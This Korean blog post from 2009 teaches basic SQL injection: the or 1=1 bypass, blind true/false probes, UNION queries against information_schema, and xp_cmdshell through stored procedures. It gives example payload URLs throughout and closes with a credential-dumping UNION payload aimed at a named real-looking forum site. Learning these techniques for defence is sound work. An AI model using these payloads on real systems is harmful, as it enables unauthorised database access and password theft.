본문 바로가기
기타/해킹 공부

기본 Sql Injection 공부

by WebHack 2009. 4. 30.
① 논리적 에러를 이용하는 SQL Injection
SQL Injection의 기본적인 기법으로 ‘ 를 통해 에러를 확인하고, or 1=1 등의 논리적 에러를 통해
시스템 권한체크를 우회하는 기법이다.

예. SELECT * FROM user_data WHERE last_name = 'Your Name' or '1=1'

② 쿼리 가능 여부를 이용하는 Blind SQL Injection
악의적인 문자열 삽입대신 쿼리 결과(참 혹은 거짓)에 따라 정보를 취득하는 기법이다. 아래 예1를
보면 id=5 다음에 and 1=1을 삽입하였고 이는 where id=5 and 1=1 로 이해될 것이다.
즉 id=5(참) and 1=1(참)이기 때문에 page.php?id=5 와 동일한 페이지가 보일 것이다.

예1. http://www.xxx.com/page.php?id=5 and 1=1

그러나 예2는 and 1=2를 삽입하여 일부러 거짓 조건을 만들었다. 즉 쿼리가 실행되지 않으므로
페이지에는 아무런 정보결과가 없어야 할 것이다.

예2. http://www.xxx.com/page.php?id=5 and 1=2

③ 두개이상의 쿼리를 이용하는 Union SQL Injection
UNION은 2개 이상의 쿼리를 요청하여 결과를 얻는 SQL 연산자이다. 공격자는 이를 악용하여
원래의 요청에 한 개의 추가 쿼리를 삽입하여 정보를 얻어내는 방식이다.
아래 예1은 테이블 정보가 들어있는 information_schema.***** 에서 테이블 정보를 요청하여 정보를
얻을려는 시도이다.

예1. http://www.site.com/news.php?id=5 union all select 1,table_name,3 from ****

④ 저장 프로시저를 이용하는 Stored Procedure SQL Injection
저장 프로시저는 운영상 편이를 위해 만들어둔 SQL 모음집형태로 이해하면 된다. 특히 MS SQL에서
사용할 수 있는 xp_cmdshell은 윈도우 명령어를 실행하도록 역할을 제공하는 대표적인 저장 프로시저이다.

예1. http://www.site.com/member/checkid.asp?id=';***** xp_cmdshell****';

도움 사이트 : http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/#LineCommentAttacks

최종 예 :
http://www.codurisursa.ro/showthread.php?forumid=3+and+1=0+union+select+1,concat(user,0×3a3a3a3a,password),3,4+from+users–

'기타 > 해킹 공부' 카테고리의 다른 글

GIFAR 만들기 동영상  (0) 2009.05.19
GIF+PHP 해킹  (0) 2009.05.19
A textbook example of Blind SQL Injection  (0) 2009.05.18
SecureState SQL Injection Video  (0) 2009.05.18
Microsoft IIS 6.0 WebDAV Remote Authentication Bypass  (0) 2009.05.18